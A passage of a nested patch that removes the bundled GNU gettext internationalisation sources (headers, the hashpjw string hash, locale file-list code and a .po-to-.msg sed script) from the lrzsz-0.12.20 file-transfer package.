+-# define UINT_MAX_32_BITS 4294967295U
+-#else
+-# define UINT_MAX_32_BITS 0xFFFFFFFF
+-#endif
+-
+-/* If UINT_MAX isn't defined, assume it's a 32-bit type.
+- This should be valid for all systems GNU cares about because
+- that doesn't include 16-bit systems, and only modern systems
+- (that certainly have <limits.h>) have 64+-bit integral types. */
+-
+-#ifndef UINT_MAX
+-# define UINT_MAX UINT_MAX_32_BITS
+-#endif
+-
+-#if UINT_MAX == UINT_MAX_32_BITS
+-typedef unsigned nls_uint32;
+-#else
+-# if USHRT_MAX == UINT_MAX_32_BITS
+-typedef unsigned short nls_uint32;
+-# else
+-# if ULONG_MAX == UINT_MAX_32_BITS
+-typedef unsigned long nls_uint32;
+-# else
+- /* The following line is intended to throw an error. Using #error is
+- not portable enough. */
+- "Cannot determine unsigned 32-bit data type."
+-# endif
+-# endif
+-#endif
+-
+-
+-/* Header for binary .mo file format. */
+-struct mo_file_header
+-{
+- /* The magic number. */
+- nls_uint32 magic;
+- /* The revision number of the file format. */
+- nls_uint32 revision;
+- /* The number of strings pairs. */
+- nls_uint32 nstrings;
+- /* Offset of table with start offsets of original strings. */
+- nls_uint32 orig_tab_offset;
+- /* Offset of table with start offsets of translation strings. */
+- nls_uint32 trans_tab_offset;
+- /* Size of hashing table. */
+- nls_uint32 hash_tab_size;
+- /* Offset of first hashing entry. */
+- nls_uint32 hash_tab_offset;
+-};
+-
+-struct string_desc
+-{
+- /* Length of addressed string. */
+- nls_uint32 length;
+- /* Offset of string in file. */
+- nls_uint32 offset;
+-};
+-
+-/* @@ begin of epilog @@ */
+-
+-#endif /* gettext.h */
+diff -uprN clean/lrzsz-0.12.20/intl/gettextP.h lrzsz-0.12.20/intl/gettextP.h
+--- clean/lrzsz-0.12.20/intl/gettextP.h 1998-04-26 14:22:35.000000000 +0100
++++ lrzsz-0.12.20/intl/gettextP.h 1970-01-01 01:00:00.000000000 +0100
+@@ -1,73 +0,0 @@
+-/* Header describing internals of gettext library
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifndef _GETTEXTP_H
+-#define _GETTEXTP_H
+-
+-#include "loadinfo.h"
+-
+-/* @@ end of prolog @@ */
+-
+-#ifndef PARAMS
+-# if __STDC__
+-# define PARAMS(args) args
+-# else
+-# define PARAMS(args) ()
+-# endif
+-#endif
+-
+-#ifndef W
+-# define W(flag, data) ((flag) ? SWAP (data) : (data))
+-#endif
+-
+-
+-static nls_uint32 SWAP PARAMS ((nls_uint32 i));
+-
+-static inline nls_uint32
+-SWAP (i)
+- nls_uint32 i;
+-{
+- return (i << 24) | ((i & 0xff00) << 8) | ((i >> 8) & 0xff00) | (i >> 24);
+-}
+-
+-
+-struct loaded_domain
+-{
+- const char *data;
+- int must_swap;
+- nls_uint32 nstrings;
+- struct string_desc *orig_tab;
+- struct string_desc *trans_tab;
+- nls_uint32 hash_size;
+- nls_uint32 *hash_tab;
+-};
+-
+-struct binding
+-{
+- struct binding *next;
+- char *domainname;
+- char *dirname;
+-};
+-
+-struct loaded_l10nfile *_nl_find_domain PARAMS ((const char *__dirname,
+- char *__locale,
+- const char *__domainname));
+-void _nl_load_domain PARAMS ((struct loaded_l10nfile *__domain));
+-
+-/* @@ begin of epilog @@ */
+-
+-#endif /* gettextP.h */
+diff -uprN clean/lrzsz-0.12.20/intl/hash-string.h lrzsz-0.12.20/intl/hash-string.h
+--- clean/lrzsz-0.12.20/intl/hash-string.h 1998-04-26 14:22:36.000000000 +0100
++++ lrzsz-0.12.20/intl/hash-string.h 1970-01-01 01:00:00.000000000 +0100
+@@ -1,63 +0,0 @@
+-/* Implements a string hashing function.
+- Copyright (C) 1995, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU Library General Public
+- License along with the GNU C Library; see the file COPYING.LIB. If not,
+- write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330,
+- Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_VALUES_H
+-# include <values.h>
+-#endif
+-
+-/* @@ end of prolog @@ */
+-
+-#ifndef PARAMS
+-# if __STDC__
+-# define PARAMS(Args) Args
+-# else
+-# define PARAMS(Args) ()
+-# endif
+-#endif
+-
+-/* We assume to have `unsigned long int' value with at least 32 bits. */
+-#define HASHWORDBITS 32
+-
+-
+-/* Defines the so called `hashpjw' function by P.J. Weinberger
+- [see Aho/Sethi/Ullman, COMPILERS: Principles, Techniques and Tools,
+- 1986, 1987 Bell Telephone Laboratories, Inc.] */
+-static unsigned long hash_string PARAMS ((const char *__str_param));
+-
+-static inline unsigned long
+-hash_string (str_param)
+- const char *str_param;
+-{
+- unsigned long int hval, g;
+- const char *str = str_param;
+-
+- /* Compute the hash value for the given string. */
+- hval = 0;
+- while (*str != '\0')
+- {
+- hval <<= 4;
+- hval += (unsigned long) *str++;
+- g = hval & ((unsigned long) 0xf << (HASHWORDBITS - 4));
+- if (g != 0)
+- {
+- hval ^= g >> (HASHWORDBITS - 8);
+- hval ^= g;
+- }
+- }
+- return hval;
+-}
+diff -uprN clean/lrzsz-0.12.20/intl/intl-compat.c lrzsz-0.12.20/intl/intl-compat.c
+--- clean/lrzsz-0.12.20/intl/intl-compat.c 1998-04-26 14:20:52.000000000 +0100
++++ lrzsz-0.12.20/intl/intl-compat.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,76 +0,0 @@
+-/* intl-compat.c - Stub functions to call gettext functions from GNU gettext
+- Library.
+- Copyright (C) 1995 Software Foundation, Inc.
+-
+-This program is free software; you can redistribute it and/or modify
+-it under the terms of the GNU General Public License as published by
+-the Free Software Foundation; either version 2, or (at your option)
+-any later version.
+-
+-This program is distributed in the hope that it will be useful,
+-but WITHOUT ANY WARRANTY; without even the implied warranty of
+-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-GNU General Public License for more details.
+-
+-You should have received a copy of the GNU General Public License
+-along with this program; if not, write to the Free Software
+-Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-#include "libgettext.h"
+-
+-/* @@ end of prolog @@ */
+-
+-
+-#undef gettext
+-#undef dgettext
+-#undef dcgettext
+-#undef textdomain
+-#undef bindtextdomain
+-
+-
+-char *
+-bindtextdomain (domainname, dirname)
+- const char *domainname;
+- const char *dirname;
+-{
+- return bindtextdomain__ (domainname, dirname);
+-}
+-
+-
+-char *
+-dcgettext (domainname, msgid, category)
+- const char *domainname;
+- const char *msgid;
+- int category;
+-{
+- return dcgettext__ (domainname, msgid, category);
+-}
+-
+-
+-char *
+-dgettext (domainname, msgid)
+- const char *domainname;
+- const char *msgid;
+-{
+- return dgettext__ (domainname, msgid);
+-}
+-
+-
+-char *
+-gettext (msgid)
+- const char *msgid;
+-{
+- return gettext__ (msgid);
+-}
+-
+-
+-char *
+-textdomain (domainname)
+- const char *domainname;
+-{
+- return textdomain__ (domainname);
+-}
+diff -uprN clean/lrzsz-0.12.20/intl/l10nflist.c lrzsz-0.12.20/intl/l10nflist.c
+--- clean/lrzsz-0.12.20/intl/l10nflist.c 1998-04-26 14:22:37.000000000 +0100
++++ lrzsz-0.12.20/intl/l10nflist.c 1970-01-01 01:00:00.000000000 +0100
+@@ -1,409 +0,0 @@
+-/* Handle list of needed message catalogs
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+- Written by Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-#ifdef HAVE_CONFIG_H
+-# include <config.h>
+-#endif
+-
+-
+-#if defined HAVE_STRING_H || defined _LIBC
+-# ifndef _GNU_SOURCE
+-# define _GNU_SOURCE 1
+-# endif
+-# include <string.h>
+-#else
+-# include <strings.h>
+-# ifndef memcpy
+-# define memcpy(Dst, Src, Num) bcopy (Src, Dst, Num)
+-# endif
+-#endif
+-#if !HAVE_STRCHR && !defined _LIBC
+-# ifndef strchr
+-# define strchr index
+-# endif
+-#endif
+-
+-#if defined _LIBC || defined HAVE_ARGZ_H
+-# include <argz.h>
+-#endif
+-#include <ctype.h>
+-#include <sys/types.h>
+-
+-#if defined STDC_HEADERS || defined _LIBC
+-# include <stdlib.h>
+-#endif
+-
+-#include "loadinfo.h"
+-
+-/* On some strange systems still no definition of NULL is found. Sigh! */
+-#ifndef NULL
+-# if defined __STDC__ && __STDC__
+-# define NULL ((void *) 0)
+-# else
+-# define NULL 0
+-# endif
+-#endif
+-
+-/* @@ end of prolog @@ */
+-
+-#ifdef _LIBC
+-/* Rename the non ANSI C functions. This is required by the standard
+- because some ANSI C functions will require linking with this object
+- file and the name space must not be polluted. */
+-# define stpcpy(dest, src) __stpcpy(dest, src)
+-#else
+-# ifndef HAVE_STPCPY
+-static char *stpcpy PARAMS ((char *dest, const char *src));
+-# endif
+-#endif
+-
+-/* Define function which are usually not available. */
+-
+-#if !defined _LIBC && !defined HAVE___ARGZ_COUNT
+-/* Returns the number of strings in ARGZ. */
+-static size_t argz_count__ PARAMS ((const char *argz, size_t len));
+-
+-static size_t
+-argz_count__ (argz, len)
+- const char *argz;
+- size_t len;
+-{
+- size_t count = 0;
+- while (len > 0)
+- {
+- size_t part_len = strlen (argz);
+- argz += part_len + 1;
+- len -= part_len + 1;
+- count++;
+- }
+- return count;
+-}
+-# undef __argz_count
+-# define __argz_count(argz, len) argz_count__ (argz, len)
+-#endif /* !_LIBC && !HAVE___ARGZ_COUNT */
+-
+-#if !defined _LIBC && !defined HAVE___ARGZ_STRINGIFY
+-/* Make '\0' separated arg vector ARGZ printable by converting all the '\0's
+- except the last into the character SEP. */
+-static void argz_stringify__ PARAMS ((char *argz, size_t len, int sep));
+-
+-static void
+-argz_stringify__ (argz, len, sep)
+- char *argz;
+- size_t len;
+- int sep;
+-{
+- while (len > 0)
+- {
+- size_t part_len = strlen (argz);
+- argz += part_len;
+- len -= part_len + 1;
+- if (len > 0)
+- *argz++ = sep;
+- }
+-}
+-# undef __argz_stringify
+-# define __argz_stringify(argz, len, sep) argz_stringify__ (argz, len, sep)
+-#endif /* !_LIBC && !HAVE___ARGZ_STRINGIFY */
+-
+-#if !defined _LIBC && !defined HAVE___ARGZ_NEXT
+-static char *argz_next__ PARAMS ((char *argz, size_t argz_len,
+- const char *entry));
+-
+-static char *
+-argz_next__ (argz, argz_len, entry)
+- char *argz;
+- size_t argz_len;
+- const char *entry;
+-{
+- if (entry)
+- {
+- if (entry < argz + argz_len)
+- entry = strchr (entry, '\0') + 1;
+-
+- return entry >= argz + argz_len ? NULL : (char *) entry;
+- }
+- else
+- if (argz_len > 0)
+- return argz;
+- else
+- return 0;
+-}
+-# undef __argz_next
+-# define __argz_next(argz, len, entry) argz_next__ (argz, len, entry)
+-#endif /* !_LIBC && !HAVE___ARGZ_NEXT */
+-
+-
+-/* Return number of bits set in X. */
+-static int pop PARAMS ((int x));
+-
+-static inline int
+-pop (x)
+- int x;
+-{
+- /* We assume that no more than 16 bits are used. */
+- x = ((x & ~0x5555) >> 1) + (x & 0x5555);
+- x = ((x & ~0x3333) >> 2) + (x & 0x3333);
+- x = ((x >> 4) + x) & 0x0f0f;
+- x = ((x >> 8) + x) & 0xff;
+-
+- return x;
+-}
+-
+-
+-struct loaded_l10nfile *
+-_nl_make_l10nflist (l10nfile_list, dirlist, dirlist_len, mask, language,
+- territory, codeset, normalized_codeset, modifier, special,
+- sponsor, revision, filename, do_allocate)
+- struct loaded_l10nfile **l10nfile_list;
+- const char *dirlist;
+- size_t dirlist_len;
+- int mask;
+- const char *language;
+- const char *territory;
+- const char *codeset;
+- const char *normalized_codeset;
+- const char *modifier;
+- const char *special;
+- const char *sponsor;
+- const char *revision;
+- const char *filename;
+- int do_allocate;
+-{
+- char *abs_filename;
+- struct loaded_l10nfile *last = NULL;
+- struct loaded_l10nfile *retval;
+- char *cp;
+- size_t entries;
+- int cnt;
+-
+- /* Allocate room for the full file name. */
+- abs_filename = (char *) malloc (dirlist_len
+- + strlen (language)
+- + ((mask & TERRITORY) != 0
+- ? strlen (territory) + 1 : 0)
+- + ((mask & XPG_CODESET) != 0
+- ? strlen (codeset) + 1 : 0)
+- + ((mask & XPG_NORM_CODESET) != 0
+- ? strlen (normalized_codeset) + 1 : 0)
+- + (((mask & XPG_MODIFIER) != 0
+- || (mask & CEN_AUDIENCE) != 0)
+- ? strlen (modifier) + 1 : 0)
+- + ((mask & CEN_SPECIAL) != 0
+- ? strlen (special) + 1 : 0)
+- + (((mask & CEN_SPONSOR) != 0
+- || (mask & CEN_REVISION) != 0)
+- ? (1 + ((mask & CEN_SPONSOR) != 0
+- ? strlen (sponsor) + 1 : 0)
+- + ((mask & CEN_REVISION) != 0
+- ? strlen (revision) + 1 : 0)) : 0)
+- + 1 + strlen (filename) + 1);
+-
+- if (abs_filename == NULL)
+- return NULL;
+-
+- retval = NULL;
+- last = NULL;
+-
+- /* Construct file name. */
+- memcpy (abs_filename, dirlist, dirlist_len);
+- __argz_stringify (abs_filename, dirlist_len, ':');
+- cp = abs_filename + (dirlist_len - 1);
+- *cp++ = '/';
+- cp = stpcpy (cp, language);
+-
+- if ((mask & TERRITORY) != 0)
+- {
+- *cp++ = '_';
+- cp = stpcpy (cp, territory);
+- }
+- if ((mask & XPG_CODESET) != 0)
+- {
+- *cp++ = '.';
+- cp = stpcpy (cp, codeset);
+- }
+- if ((mask & XPG_NORM_CODESET) != 0)
+- {
+- *cp++ = '.';
+- cp = stpcpy (cp, normalized_codeset);
+- }
+- if ((mask & (XPG_MODIFIER | CEN_AUDIENCE)) != 0)
+- {
+- /* This component can be part of both syntaces but has different
+- leading characters. For CEN we use `+', else `@'. */
+- *cp++ = (mask & CEN_AUDIENCE) != 0 ? '+' : '@';
+- cp = stpcpy (cp, modifier);
+- }
+- if ((mask & CEN_SPECIAL) != 0)
+- {
+- *cp++ = '+';
+- cp = stpcpy (cp, special);
+- }
+- if ((mask & (CEN_SPONSOR | CEN_REVISION)) != 0)
+- {
+- *cp++ = ',';
+- if ((mask & CEN_SPONSOR) != 0)
+- cp = stpcpy (cp, sponsor);
+- if ((mask & CEN_REVISION) != 0)
+- {
+- *cp++ = '_';
+- cp = stpcpy (cp, revision);
+- }
+- }
+-
+- *cp++ = '/';
+- stpcpy (cp, filename);
+-
+- /* Look in list of already loaded domains whether it is already
+- available. */
+- last = NULL;
+- for (retval = *l10nfile_list; retval != NULL; retval = retval->next)
+- if (retval->filename != NULL)
+- {
+- int compare = strcmp (retval->filename, abs_filename);
+- if (compare == 0)
+- /* We found it! */
+- break;
+- if (compare < 0)
+- {
+- /* It's not in the list. */
+- retval = NULL;
+- break;
+- }
+-
+- last = retval;
+- }
+-
+- if (retval != NULL || do_allocate == 0)
+- {
+- free (abs_filename);
+- return retval;
+- }
+-
+- retval = (struct loaded_l10nfile *)
+- malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
+- * (1 << pop (mask))
+- * sizeof (struct loaded_l10nfile *)));
+- if (retval == NULL)
+- return NULL;
+-
+- retval->filename = abs_filename;
+- retval->decided = (__argz_count (dirlist, dirlist_len) != 1
+- || ((mask & XPG_CODESET) != 0
+- && (mask & XPG_NORM_CODESET) != 0));
+- retval->data = NULL;
+-
+- if (last == NULL)
+- {
+- retval->next = *l10nfile_list;
+- *l10nfile_list = retval;
+- }
+- else
+- {
+- retval->next = last->next;
+- last->next = retval;
+- }
+-
+- entries = 0;
+- /* If the DIRLIST is a real list the RETVAL entry corresponds not to
+- a real file. So we have to use the DIRLIST separation mechanism
+- of the inner loop. */
+- cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
+- for (; cnt >= 0; --cnt)
+- if ((cnt & ~mask) == 0
+- && ((cnt & CEN_SPECIFIC) == 0 || (cnt & XPG_SPECIFIC) == 0)
+- && ((cnt & XPG_CODESET) == 0 || (cnt & XPG_NORM_CODESET) == 0))
+- {
+- /* Iterate over all elements of the DIRLIST. */
+- char *dir = NULL;
+-
+- while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
+- != NULL)
+- retval->successor[entries++]
+- = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
+- language, territory, codeset,
+- normalized_codeset, modifier, special,
+- sponsor, revision, filename, 1);
+- }
+- retval->successor[entries] = NULL;
+-
+- return retval;
+-}
+-
+-/* Normalize codeset name. There is no standard for the codeset
+- names. Normalization allows the user to use any of the common
+- names. */
+-const char *
+-_nl_normalize_codeset (codeset, name_len)
+- const char *codeset;
+- size_t name_len;
+-{
+- int len = 0;
+- int only_digit = 1;
+- char *retval;
+- char *wp;
+- size_t cnt;
+-
+- for (cnt = 0; cnt < name_len; ++cnt)
+- if (isalnum (codeset[cnt]))
+- {
+- ++len;
+-
+- if (isalpha (codeset[cnt]))
+- only_digit = 0;
+- }
+-
+- retval = (char *) malloc ((only_digit ? 3 : 0) + len + 1);
+-
+- if (retval != NULL)
+- {
+- if (only_digit)
+- wp = stpcpy (retval, "iso");
+- else
+- wp = retval;
+-
+- for (cnt = 0; cnt < name_len; ++cnt)
+- if (isalpha (codeset[cnt]))
+- *wp++ = tolower (codeset[cnt]);
+- else if (isdigit (codeset[cnt]))
+- *wp++ = codeset[cnt];
+-
+- *wp = '\0';
+- }
+-
+- return (const char *) retval;
+-}
+-
+-
+-/* @@ begin of epilog @@ */
+-
+-/* We don't want libintl.a to depend on any other library. So we
+- avoid the non-standard function stpcpy. In GNU C Library this
+- function is available, though. Also allow the symbol HAVE_STPCPY
+- to be defined. */
+-#if !_LIBC && !HAVE_STPCPY
+-static char *
+-stpcpy (dest, src)
+- char *dest;
+- const char *src;
+-{
+- while ((*dest++ = *src++) != '\0')
+- /* Do nothing. */ ;
+- return dest - 1;
+-}
+-#endif
+diff -uprN clean/lrzsz-0.12.20/intl/libgettext.h lrzsz-0.12.20/intl/libgettext.h
+--- clean/lrzsz-0.12.20/intl/libgettext.h 1998-04-26 14:22:36.000000000 +0100
++++ lrzsz-0.12.20/intl/libgettext.h 1970-01-01 01:00:00.000000000 +0100
+@@ -1,182 +0,0 @@
+-/* Message catalogs for internationalization.
+- Copyright (C) 1995, 1996, 1997 Free Software Foundation, Inc.
+-
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 2, or (at your option)
+- any later version.
+-
+- This program is distributed in the hope that it will be useful,
+- but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
+-
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, write to the Free Software Foundation,
+- Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
+-
+-/* Because on some systems (e.g. Solaris) we sometimes have to include
+- the systems libintl.h as well as this file we have more complex
+- include protection above. But the systems header might perhaps also
+- define _LIBINTL_H and therefore we have to protect the definition here. */
+-
+-#if !defined (_LIBINTL_H) || !defined (_LIBGETTEXT_H)
+-#if !defined (_LIBINTL_H)
+-# define _LIBINTL_H 1
+-#endif
+-#define _LIBGETTEXT_H 1
+-
+-/* We define an additional symbol to signal that we use the GNU
+- implementation of gettext. */
+-#define __USE_GNU_GETTEXT 1
+-
+-#include <sys/types.h>
+-
+-#if HAVE_LOCALE_H
+-# include <locale.h>
+-#endif
+-
+-
+-#ifdef __cplusplus
+-extern "C" {
+-#endif
+-
+-/* @@ end of prolog @@ */
+-
+-#ifndef PARAMS
+-# if __STDC__
+-# define PARAMS(args) args
+-# else
+-# define PARAMS(args) ()
+-# endif
+-#endif
+-
+-#ifndef NULL
+-# if !defined __cplusplus || defined __GNUC__
+-# define NULL ((void *) 0)
+-# else
+-# define NULL (0)
+-# endif
+-#endif
+-
+-#if !HAVE_LC_MESSAGES
+-/* This value determines the behaviour of the gettext() and dgettext()
+- function. But some system does not have this defined. Define it
+- to a default value. */
+-# define LC_MESSAGES (-1)
+-#endif
+-
+-
+-/* Declarations for gettext-using-catgets interface. Derived from
+- Jim Meyering's libintl.h. */
+-struct _msg_ent
+-{
+- const char *_msg;
+- int _msg_number;
+-};
+-
+-
+-#if HAVE_CATGETS
+-/* These two variables are defined in the automatically by po-to-tbl.sed
+- generated file `cat-id-tbl.c'. */
+-extern const struct _msg_ent _msg_tbl[];
+-extern int _msg_tbl_length;
+-#endif
+-
+-
+-/* For automatical extraction of messages sometimes no real
+- translation is needed. Instead the string itself is the result. */
+-#define gettext_noop(Str) (Str)
+-
+-/* Look up MSGID in the current default message catalog for the current
+- LC_MESSAGES locale. If not found, returns MSGID itself (the default
+- text). */
+-extern char *gettext PARAMS ((const char *__msgid));
+-extern char *gettext__ PARAMS ((const char *__msgid));
+-
+-/* Look up MSGID in the DOMAINNAME message catalog for the current
+- LC_MESSAGES locale. */
+-extern char *dgettext PARAMS ((const char *__domainname, const char *__msgid));
+-extern char *dgettext__ PARAMS ((const char *__domainname,
+- const char *__msgid));
+-
+-/* Look up MSGID in the DOMAINNAME message catalog for the current CATEGORY
+- locale. */
+-extern char *dcgettext PARAMS ((const char *__domainname, const char *__msgid,
+- int __category));
+-extern char *dcgettext__ PARAMS ((const char *__domainname,
+- const char *__msgid, int __category));
+-
+-
+-/* Set the current default message catalog to DOMAINNAME.
+- If DOMAINNAME is null, return the current default.
+- If DOMAINNAME is "", reset to the default of "messages". */
+-extern char *textdomain PARAMS ((const char *__domainname));
+-extern char *textdomain__ PARAMS ((const char *__domainname));
+-
+-/* Specify that the DOMAINNAME message catalog will be found
+- in DIRNAME rather than in the system locale data base. */
+-extern char *bindtextdomain PARAMS ((const char *__domainname,
+- const char *__dirname));
+-extern char *bindtextdomain__ PARAMS ((const char *__domainname,
+- const char *__dirname));
+-
+-#if ENABLE_NLS
+-
+-/* Solaris 2.3 has the gettext function but dcgettext is missing.
+- So we omit this optimization for Solaris 2.3. BTW, Solaris 2.4
+- has dcgettext. */
+-# if !HAVE_CATGETS && (!HAVE_GETTEXT || HAVE_DCGETTEXT)
+-
+-# define gettext(Msgid) \
+- dgettext (NULL, Msgid)
+-
+-# define dgettext(Domainname, Msgid) \
+- dcgettext (Domainname, Msgid, LC_MESSAGES)
+-
+-# if defined __GNUC__ && __GNUC__ == 2 && __GNUC_MINOR__ >= 7
+-/* This global variable is defined in loadmsgcat.c. We need a sign,
+- whether a new catalog was loaded, which can be associated with all
+- translations. */
+-extern int _nl_msg_cat_cntr;
+-
+-# define dcgettext(Domainname, Msgid, Category) \
+- (__extension__ \
+- ({ \
+- char *__result; \
+- if (__builtin_constant_p (Msgid)) \
+- { \
+- static char *__translation__; \
+- static int __catalog_counter__; \
+- if (! __translation__ || __catalog_counter__ != _nl_msg_cat_cntr) \
+- { \
+- __translation__ = \
+- dcgettext__ (Domainname, Msgid, Category); \
+- __catalog_counter__ = _nl_msg_cat_cntr; \
+- } \
+- __result = __translation__; \
+- } \
+- else \
+- __result = dcgettext__ (Domainname, Msgid, Category); \
+- __result; \
+- }))
+-# endif
+-# endif
+-
+-#else
+-
+-# define gettext(Msgid) (Msgid)
+-# define dgettext(Domainname, Msgid) (Msgid)
+-# define dcgettext(Domainname, Msgid, Category) (Msgid)
+-# define textdomain(Domainname) while (0) /* nothing */
+-# define bindtextdomain(Domainname, Dirname) while (0) /* nothing */
+-
+-#endif
+-
+-/* @@ begin of epilog @@ */
+-
+-#ifdef __cplusplus
+-}
+-#endif
+-
+-#endif
+diff -uprN clean/lrzsz-0.12.20/intl/linux-msg.sed lrzsz-0.12.20/intl/linux-msg.sed
+--- clean/lrzsz-0.12.20/intl/linux-msg.sed 1998-04-26 14:20:52.000000000 +0100
++++ lrzsz-0.12.20/intl/linux-msg.sed 1970-01-01 01:00:00.000000000 +0100
+@@ -1,100 +0,0 @@
+-# po2msg.sed - Convert Uniforum style .po file to Linux style .msg file
+-# Copyright (C) 1995 Free Software Foundation, Inc.
+-# Ulrich Drepper <drepper@gnu.ai.mit.edu>, 1995.
+-#
+-# This program is free software; you can redistribute it and/or modify
+-# it under the terms of the GNU General Public License as published by
+-# the Free Software Foundation; either version 2, or (at your option)
+-# any later version.
+-#
+-# This program is distributed in the hope that it will be useful,
+-# but WITHOUT ANY WARRANTY; without even the implied warranty of
+-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+-# GNU General Public License for more details.
+-#
+-# You should have received a copy of the GNU General Public License
+-# along with this program; if not, write to the Free Software
+-# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+-#
+-#
+-# The first directive in the .msg should be the definition of the
+-# message set number. We use always set number 1.
+-#
+-1 {
+- i\
+-$set 1 # Automatically created by po2msg.sed
+- h
+- s/.*/0/
+- x
+-}
+-#
+-# Mitch's old catalog format does not allow comments.
+-#
+-# We copy the original message as a comment into the .msg file.
+-#
+-/^msgid/ {
+- s/msgid[ ]*"//
+-#
+-# This does not work now with the new format.
+-# /"$/! {
+-# s/\\$//
+-# s/$/ ... (more lines following)"/
+-# }
+- x
+-# The following nice solution is by
+-# Bruno <Haible@ma2s2.mathematik.uni-karlsruhe.de>
+- td
+-# Increment a decimal number in pattern space.
+-# First hide trailing `9' digits.
+- :d
+- s/9\(_*\)$/_\1/
+- td
+-# Assure at least one digit is available.
+- s/^\(_*\)$/0\1/
+-# Increment the last digit.
+- s/8\(_*\)$/9\1/
+- s/7\(_*\)$/8\1/
+- s/6\(_*\)$/7\1/
+- s/5\(_*\)$/6\1/
+- s/4\(_*\)$/5\1/
+- s/3\(_*\)$/4\1/
+- s/2\(_*\)$/3\1/
+- s/1\(_*\)$/2\1/
+- s/0\(_*\)$/1\1/
+-# Convert the hidden `9' digits to `0's.
+- s/_/0/g
+- x
+- G
+- s/\(.*\)"\n\([0-9]*\)/$ #\2 Original Message:(\1)/p
+-}
+-#
+-# The .msg file contains, other then the .po file, only the translations
+-# but each given a unique ID. Starting from 1 and incrementing by 1 for
+-# each message we assign them to the messages.
+-# It is important that the .po file used to generate the cat-id-tbl.c file
+-# (with po-to-tbl) is the same as the one used here. (At least the order
+-# of declarations must not be changed.)
+-#
+-/^msgstr/ {
+- s/msgstr[ ]*"\(.*\)"/# \1/
+-# Clear substitution flag.
+- tb
+-# Append the next line.
+- :b
+- N
+-# Look whether second part is continuation line.
+- s/\(.*\n\)"\(.*\)"/\1\2/
+-# Yes, then branch.
+- ta
+- P
+- D
+-# Note that D includes a jump to the start!!
+-# We found a continuation line. But before printing insert '\'.
+- :a
+- s/\(.*\)\(\n.*\)/\1\\\2/
+- P
+-# We cannot use D here.
+- s/.*\n\(.*\)/\1/
+- tb
+-}
+-d
+diff -uprN clean/lrzsz-0.12.20/intl/loadinfo.h lrzsz-0.12.20/intl/loadinfo.h
+--- clean/lrzsz-0.12.20/intl/loadinfo.h 1998-04-26 14:20:52.000000000 +0100
++++ lrzsz-0.12.20/intl/loadinfo.h 1970-01-01 01:00:00.000000000 +0100
+@@ -1,58 +0,0 @@
+-#ifndef PARAMS
+-# if __STDC__
+-# define PARAMS(args) args
+-# else
+-# define PARAMS(args) ()
+-# endif
+-#endif
+-
+-/* Encoding of locale name parts. */
+-#define CEN_REVISION 1
+-#define CEN_SPONSOR 2
+-#define CEN_SPECIAL 4
+-#define XPG_NORM_CODESET 8
+-#define XPG_CODESET 16
+-#define TERRITORY 32
+-#define CEN_AUDIENCE 64
+-#define XPG_MODIFIER 128
+-
+-#define CEN_SPECIFIC (CEN_REVISION|CEN_SPONSOR|CEN_SPECIAL|CEN_AUDIENCE)
+-#define XPG_SPECIFIC (XPG_CODESET|XPG_NORM_CODESET|XPG_MODIFIER)
+-
+-
+-struct loaded_l10nfile
+-{
+- const char *filename;
+- int decided;
+-
+- const void *data;
+-
+- struct loaded_l10nfile *next;
+- struct loaded_l10nfile *successor[1];
+-};
+-
+-
+-extern const char *_nl_normalize_codeset PARAMS ((const char *codeset,
+- size_t name_len));
+-
+-extern struct loaded_l10nfile *
+-_nl_make_l10nflist PARAMS ((struct loaded_l10nfile **l10nfile_list,
+- const char *dirlist, size_t dirlist_len, int mask,
+- const char *language, const char *territory,
+- const char *codeset,
+- const char *normalized_codeset,
+- const char *modifier, const char *special,
+- const char *sponsor, const char *revision,
+- const char *filename, int do_allocate));
+-
+-
+-extern const char *_nl_expand_alias PARAMS ((const char *name));
+-
